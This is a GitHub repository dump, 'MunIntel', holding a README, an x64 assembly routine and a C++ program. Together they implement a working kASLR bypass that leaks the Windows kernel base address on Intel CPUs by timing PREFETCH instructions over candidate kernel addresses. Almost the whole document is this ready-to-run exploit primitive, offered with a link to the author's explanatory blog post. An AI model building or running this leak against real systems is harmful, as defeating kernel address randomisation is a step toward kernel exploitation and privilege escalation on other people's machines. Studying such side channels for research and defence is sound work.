├── imgs └── 20250517011029.png ├── README.md └── src ├── sideChannel.asm └── main.cpp /imgs/20250517011029.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0keb/MunIntel/HEAD/imgs/20250517011029.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MunIntel 2 | kASLR bypass technique on Intel CPUs using `PREFETCHh` to leak the Windows kernel base via Cache timing. 3 | 4 | ![](/imgs/20250517011029.png) 5 | 6 | For a detailed explanation of the technique, see my blog post [Bypassing kASLR via Cache Timing](https://r0keb.github.io/posts/Bypassing-kASLR-via-Cache-Timing/) 7 | -------------------------------------------------------------------------------- /src/sideChannel.asm: -------------------------------------------------------------------------------- 1 | code 2 | 3 | PUBLIC sideChannel 4 | 5 | sideChannel proc 6 | 7 | xor r8, r8 8 | xor r9, r9 9 | xor r10, r10 10 | 11 | xor rax, rax 12 | xor rdx, rdx 13 | 14 | mov r10, rcx 15 | 16 | mfence 17 | 18 | rdtscp 19 | 20 | mov r8, rax 21 | mov r9, rdx 22 | 23 | shl r9, 32 24 | or r9, r8 25 | 26 | lfence 27 | 28 | prefetchnta byte ptr [r10] 29 | prefetcht2 byte ptr [r10] 30 | 31 | mfence 32 | 33 | rdtscp 34 | 35 | shl rdx, 32 36 | or rdx, rax 37 | 38 | lfence 39 | 40 | sub rax, r9 41 | 42 | ret 43 | 44 | sideChannel endp 45 | 46 | end 47 | -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define lowKernelBase 0xfffff80000000000 5 | #define highKernelBase 0xfffff80800000000 6 | 7 | #define KernelAddrJump 0x100000 8 | 9 | #define Range 0x8000 10 | 11 | extern "C" unsigned int sideChannel(void* baseAddress); 12 | extern "C" void badSyscall(void); 13 | 14 | UINT64 getNtBase() { 15 | static UINT64 Speed[Range] = { 0 }; 16 | static UINT64 Addrs[Range] = { 0 }; 17 | 18 | UINT64 Addr = lowKernelBase; 19 | unsigned int media = 0; 20 | UINT64 FinalAddress = 0; 21 | UINT64 FinalTime = 0; 22 | unsigned int CacheSpeed = 0; 23 | 24 | for (unsigned int Times = 0; Times < 0x100 + 5; Times++) { 25 | 26 | for (UINT64 index = 0; index < Range; index++) { 27 | 28 | if (!Addrs[index]) { 29 | Addrs[index] = 0xfffff80000000000 + index * 0x100000; 30 | } 31 | 32 | CacheSpeed = sideChannel((void*)Addrs[index]); 33 | 34 | if (Times >= 5) { 35 | Speed[index] += CacheSpeed; 36 | } 37 | } 38 | } 39 | 40 | unsigned int i = 0; 41 | for (i = 0; i < Range; i++) { 42 | Speed[i] /= 0x100; 43 | } 44 | 45 | int maxCount = 0; 46 | int averageSpeed = 0; 47 | for (i = 0; i < Range; i++) { 48 | 49 | int count = 0; 50 | for (unsigned int c = 0; c < Range; c++) { 51 | if (Speed[i] == Speed[c]) { 52 | count++; 53 | } 54 | } 55 | 56 | if (count > maxCount) { 57 | maxCount = count; 58 | averageSpeed = Speed[i]; 59 | } 60 | } 61 | 62 | printf("\nAverage Speed -> %u", averageSpeed); 63 | 64 | unsigned int BaseSpeed1 = averageSpeed / 5; 65 | unsigned int BaseSpeed2 = averageSpeed / 10; 66 | 67 | // printf("\nBaseSpeed1 -> %u", BaseSpeed1); 68 | // printf("\nBaseSpeed2 -> %u\n", BaseSpeed2); 69 | 70 | for (UINT64 i = 0; i < 0x8000 - 0xc; i++) 71 | { 72 | int average = 0; 73 | for (UINT64 x = 0; x < 0xc; x++) 74 | { 75 | if (Speed[i + x] >= averageSpeed - BaseSpeed2) 76 | { 77 | average = -1; 78 | break; 79 | } 80 | average += Speed[i + x]; 81 | } 82 | if (average == -1) 83 | { 84 | continue; 85 | } 86 | average /= 0xC; 87 | if (average < (averageSpeed - BaseSpeed1)) 88 | { 89 | // printf("\n[Kernel Base] -> 0x%p\n\t\\__[Time] -> %u\n", 0xfffff80000000000 + (i * 0x100000), Speed[i]); 90 | // printf("\nAddr -> 0x%p", 0xfffff80000000000 + (i * 0x100000)); 91 | return (FinalAddress = 0xfffff80000000000 + (i * 0x100000)); 92 | } 93 | } 94 | 95 | return 0; 96 | } 97 | 98 | int main() { 99 | 100 | UINT64 Addr = 0; 101 | UINT64 Comp = 0; 102 | unsigned int i = 0; 103 | while (1) { 104 | printf("\n\n[INTEL CPU Based NT Base leaker] -> execution Number (%d)\n", i); 105 | 106 | if (i >= 1) { 107 | Sleep(1000); 108 | } 109 | 110 | if (((Addr = getNtBase())) == 0) { 111 | printf("\n\t[ERROR] Error getting the \"ntoskrnl.exe\" base!\n"); 112 | i++; 113 | continue; 114 | } 115 | 116 | if (Addr != (getNtBase())) { 117 | printf("\n\t[ERROR] The address leaked is not the same! Repeating the process...\n"); 118 | i++; 119 | continue; 120 | } 121 | else { 122 | break; 123 | } 124 | } 125 | 126 | printf("\n[\"ntoskrnl.exe\" base] -> 0x%p\n", Addr); 127 | 128 | return 0; 129 | } 130 | --------------------------------------------------------------------------------